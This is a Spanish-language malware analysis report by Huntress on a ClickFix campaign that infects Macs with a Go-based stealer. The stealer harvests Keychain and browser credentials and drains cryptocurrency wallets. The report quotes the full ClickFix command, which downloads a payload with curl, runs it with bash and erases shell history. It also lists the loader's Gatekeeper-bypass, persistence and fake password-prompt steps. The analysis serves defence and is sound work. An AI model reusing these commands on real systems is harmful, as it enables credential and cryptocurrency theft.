Agradecimientos: Un agradecimiento especial a Anna Pham, Bryan Masters y Jai Minton por sus contribuciones a esta investigación, las mejoras en las señales de detección y la redacción.
Resumen: Huntress respondió a un incidente en el que la víctima fue engañada para pegar un comando de ClickFix en una Terminal de Mac. La víctima infectó su dispositivo macOS con un malware Mach-O (el formato nativo de aplicaciones para computadoras Mac) basado en Go, que se entregó como el payload final de una cadena de scripts de shell que descargó el comando de ClickFix. El malware recolecta credenciales sensibles del Keychain de macOS y de otras aplicaciones, y las exfiltra a una dirección externa.
Contexto
Durante una investigación retrospectiva de amenazas en junio de 2026, un analista de Huntress encontró componentes de un malware tipo stealer específico para Mac en un sistema monitoreado que había sido infectado tres meses antes.
La víctima provocó la infección al caer en un tipo de truco de ingeniería social conocido como ClickFix. ClickFix se ha vuelto extremadamente popular en los últimos años, y hemos visto este ataque en muchas variantes y formas distintas. En un ataque de ClickFix, al usuario de la computadora se le muestra una ventana emergente que parece una prueba CAPTCHA. La ventana indica a la víctima que copie el texto de una cadena de comando larga y la pegue en la aplicación Terminal de la computadora. La cadena de comando normalmente descarga y ejecuta la etapa inicial del ataque.
En este caso, ese comando descargó un perfilador/cargador de Bash que recolectaba detalles del sistema, y luego obtenía un payload Mach-O nativo de Mac que coincidía con la arquitectura del procesador de la víctima. Mach-O es el formato ejecutable que usa macOS, y en este caso el stealer basado en Go fue diseñado para extraer almacenes de contraseñas del navegador, datos del Keychain de Apple y credenciales almacenadas en caché del sistema infectado.
El malware también incluía una función DRAIN que podía verificar si una billetera de criptomoneda tenía fondos, y luego redirigía todo o parte de ese saldo a billeteras controladas por el atacante. El cargador, el alojamiento del payload y el comando y control (C2) estaban todos vinculados a la infraestructura de Aeza Group, un proveedor ruso de alojamiento resistente a la interrupción conocido por dar servicio a grupos cibercriminales organizados y de ransomware. Aeza Group fue sancionado por EE. UU. en 2025, con sanciones conjuntas posteriores por parte del Reino Unido y Australia.
Tácticas del atacante
En este incidente, la víctima había seguido un enlace enviado en un mensaje de correo electrónico. Cuando se abrió la página, apareció la ventana emergente de ClickFix y le indicó que ejecutara el comando que se muestra a continuación.
export SRC_URL='https://profitnow[.]io/' && (cd /tmp && curl -kfsSL "http://193.29.224[.]151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null;
Este comando le indicaba a la computadora que recuperara un archivo desde la dirección IP 193.29.224[.]151 , lo ejecutara y luego eliminara el archivo almacenado temporalmente. Después limpiaba la ventana de Terminal y borraba el historial de comandos de la Terminal, eliminando cualquier rastro del comando original que se ejecutó.
El archivo que se descargó es un script de Bash que crea un perfil detallado del sistema de la víctima y recupera/ejecuta uno de dos payloads de malware distintos para macOS, dependiendo de si la arquitectura del CPU de la víctima es (o no es) ARM64.
Figura 1: El componente "perfilador/cargador" recupera información detallada sobre la computadora de la víctima
Los comandos clave ejecutados por este componente "profiler/loader" son los siguientes, en orden secuencial:
ioreg -c IOPlatformExpertDevice -d 2: Da detalles sobre el hardware que usa el objetivo, incluyendo identificadores de la placa base, números de serie y detalles de la CPUsystem_profiler SPHardwareDataType: Identifica los detalles específicos de la CPU, la RAM y la ROM del sistema en ejecución, incluyendo algunos datos redundantes que también revela el comando anteriorecho "$(whoami)": Identifica el nombre de la cuenta de usuario con la sesión iniciada actualmentemkdir -p "$HOME/Library/Caches/com.apple.trustd": Crea un directorio en el sistema del objetivo con un nombre que imita al del proceso legítimo en macOS que gestiona los certificados criptográficosuname -m: Consulta la arquitectura del procesador. Si el resultado es "arm64", obtiene una versión del malware; de lo contrario, obtiene otra versión alojada en el mismo sitio web.curl -kFsSL [payload URL] -o [random filename]: Descarga el ejecutable de malware Mach-O y lo escribe en un nombre de archivo de letras aleatorias, codificado directamente en el script.cp [random filename]$HOME/Library/Caches/com.apple.trustd/com.apple.verified: Copia el ejecutable de malware descargado a este directorio, con el nombrecom.apple.verifiedchmod +x com.apple.verified: Marca el archivo descargado como una aplicación ejecutablexattr -d com.apple.quarantine$HOME/Library/Caches/com.apple.trustd/com.apple.verified: Elimina el bit de Gatekeeper, para que macOS no le advierta al usuario con un mensaje emergente cuando se ejecute el malware. Cabe destacar quecurles una de las pocas herramientas de internet de macOS que no activa el bit de Gatekeeper en los archivos que descarga, un atributo de archivo extendido que le permite al sistema operativo identificar programas descargados de internet, por lo que este paso parece innecesario dado este método específico de entrega.
Figura 2: El componente "profiler/loader" crea esta carpeta antes de obtener y escribir el payload final en ella
El malware también estableció persistencia desplegando un payload (SHA256: b43a909a01e954d6549558f2f7e9bb58e34959a0ae229f340d61091ab726bbd3) en /Users/<redacted>/Library/Caches/com.apple.softwareupdate/SoftwareUpdate, una ruta a nivel de sistema que macOS usa para las verificaciones automáticas en segundo plano de actualizaciones o para ejecutar manualmente softwareupdate desde Terminal.
Al payload se le eliminan sus atributos de archivo extendidos, se firma de forma ad-hoc y luego se incorpora al subsistema de Background Task Management (BTM) mediante launchctl bootstrap gui/501 /Users/m1/Library/LaunchAgents/com.apple.softwareupdated.plist. BTM es un subsistema legítimo de Apple que se usa para rastrear todo lo que se instala para ejecutarse automáticamente en segundo plano (como agentes de inicio, elementos de inicio de sesión o tareas cron).
Los atacantes también lograron una mayor escalación de privilegios al pedirle a la víctima sus credenciales mediante un cuadro de diálogo de osascript. osascript permite que scripts o herramientas de línea de comandos activen elementos nativos de la interfaz de usuario de macOS (como alertas o indicaciones) sin tener que escribir una aplicación completa. Mientras que los desarrolladores lo usan para cosas como mensajes de confirmación, los actores de amenazas lo han usado para crear algo que parece una indicación legítima de macOS.
Figura 3: El malware le pide a la víctima que ingrese su contraseña en este cuadro de diálogo para capturarla y usarla sin volver a pedirla al hacer otros cambios
Payload del ladrón de información
El ejecutable del malware fue escrito en el lenguaje de programación Go y se compiló usando una herramienta llamada Go Garbler para ofuscar las cadenas de texto plano en el binario compilado.
Al momento de las infecciones, se alojaban dos versiones distintas del ladrón de información. El payload descargado en la computadora del objetivo es un ejecutable Mach-O compilado para la arquitectura de procesador ARM64, usada por las CPU M2 de Apple. Se habría descargado un ejecutable Mach-O alternativo si la máquina del objetivo hubiera estado usando una arquitectura de procesador de 64 bits que no fuera ARM.
Ambos ladrones de información están diseñados para rastrear el disco duro del objetivo en busca de archivos específicos que contengan credenciales almacenadas. Lo hace mediante una lista exhaustiva de archivos específicos y sus ubicaciones típicas en el sistema de archivos de macOS, además de identificar tipos de archivo por extensión. Se apunta a las bases de datos de contraseñas del navegador, al Apple Keychain y a las credenciales almacenadas en las cookies del navegador.
Cabe destacar que el ladrón de información contiene código diseñado para interceptar y redirigir datos de transacciones que involucran varias criptomonedas, incluidas Bitcoin, Litecoin, Dogecoin y Monero.
Figura 4: Una lista codificada de forma fija de direcciones de billeteras de criptomonedas controladas por el actor de amenazas, incrustada en el binario del ladrón de información. Ninguna de las direcciones de billetera visibles públicamente ha recibido valor alguno ni tiene registro de transacciones.
Una función llamada DRAIN identificaría direcciones de billetera probables vinculadas a estas distintas criptomonedas y consultaría la blockchain para determinar si la billetera tiene saldo; si el malware encuentra una dirección de billetera, obtiene una dirección de billetera alternativa (ya sea de una lista incrustada y codificada de forma fija en el binario, o desde su servidor C2) y puede robar una parte (indicada por la variable DRAIN_PCT) o la totalidad del contenido de la billetera, transfiriendo el valor a una billetera controlada por el actor de amenazas.
Figura 5: La función DRAIN identifica varias direcciones de billeteras de criptomonedas y puede redirigir el contenido a una billetera controlada por el actor de amenazas
Si bien esto puede no ser una función completamente nueva, es la primera vez que vemos un malware capaz de vaciar una billetera de criptomonedas que podía usarse para extraer cualquier cantidad menor al valor total de la billetera. El malware contenía funciones separadas para determinar cuánto vale exactamente el 1% del contenido de la billetera, según la criptomoneda que el malware tenga como objetivo.
Figura 6: Una variable llamada DRAIN_PCT determina qué tan rápido el malware agotará la billetera de la víctima, después de que esta función calcula cuánto vale cada porcentaje de la billetera
El malware tiene subrutinas distintas para realizar la operación de "drenaje" según la criptomoneda objetivo: había versiones ligeramente distintas de este código dirigidas al formato de blockchain usado por Bitcoin, Litecoin y Dogecoin; Ethereum; y XRP de Ripple.
Figura 7: El código incluye un comentario "DRAIN_PCT% to us" por si el propósito de esta función no quedaba del todo claro. Al menos dejaron que la víctima se quedara con el cambio.
Relaciones de red
Figura 8: Una visualización que mapea las relaciones entre URL, direcciones IP de alojamiento y payloads. Fuente: VirusTotal
Todos los componentes del ataque se comunicaron con direcciones IP que comparten propiedad y control comunes: el Sistema Autónomo (AS) 210644 es operado por una corporación rusa conocida como Aeza Group, que opera un conocido centro de "alojamiento resistente a la interrupción" utilizado por grupos organizados de cibercriminales y de ransomware; Aeza Group fue objeto de una orden de sanción de la OFAC del Departamento del Tesoro de EE. UU. en julio de 2025. Esas sanciones luego se ampliaron y se sumaron el Reino Unido y Australia en noviembre de 2025.
Ambas direcciones de alojamiento, 77.221.152[.]34 y 193.29.224[.]151, se usaron para entregar el payload perteneciente al conjunto de direcciones IP de Aeza Group.
El ladrón de información se habría comunicado con un servidor C2 en 138.124.118[.]69, usando el protocolo HTTP a través del puerto no estándar 8133/tcp. Este también forma parte del conjunto de direcciones IP de Aeza Group.
Guía de mitigación
Es posible reducir la probabilidad de recibir ventanas emergentes de ataques ClickFix instalando complementos de navegador que mitigan scripts maliciosos, como la extensión del navegador NoScript (disponible para Chrome y Firefox). Dispositivos de red como un agujero negro de DNS PiHole también pueden reducir la probabilidad de ventanas emergentes al bloquear la resolución de dominios conocidos como maliciosos mediante el bloqueo de DNS.
Sin embargo, la mejor mitigación contra ClickFix es la educación del usuario: capacitar a los usuarios sobre la amenaza que representan estos CAPTCHA falsos inusuales y extraños, y cómo reconocerlos y evitarlos, es una estrategia esencial para una defensa en capas.
Si un usuario sigue inadvertidamente un exploit de ClickFix, es imprescindible que informe a su equipo de TI de inmediato y que la máquina se coloque en modo de aislamiento.
El malware puede lograr persistencia o no, pero se remedia fácilmente eliminando cualquier copia del binario que haya quedado en la máquina. Una vez eliminado, el malware no se reconstituirá por sí solo.
Indicadores de compromiso (IOC)
Huntress ha publicado estos indicadores en nuestro repositorio de Github.
Elemento | Descripción |
|---|---|
| Ruta del sistema de archivos usada por este malware |
SHA256: | Ejecutable stealer (ARM64) |
| Ruta del sistema de archivos usada por este malware |
SHA256: | Ejecutable stealer (x86_64) |
SHA256: | Script Bash de perfilado/carga |
| Dirección IP que aloja el cargador |
| Dirección IP que aloja las cargas útiles |
| Dirección IP usada para la exfiltración y el C2 |
| Dirección IP y puerto http no estándar |
| Dominio usado durante la fase de ClickFix |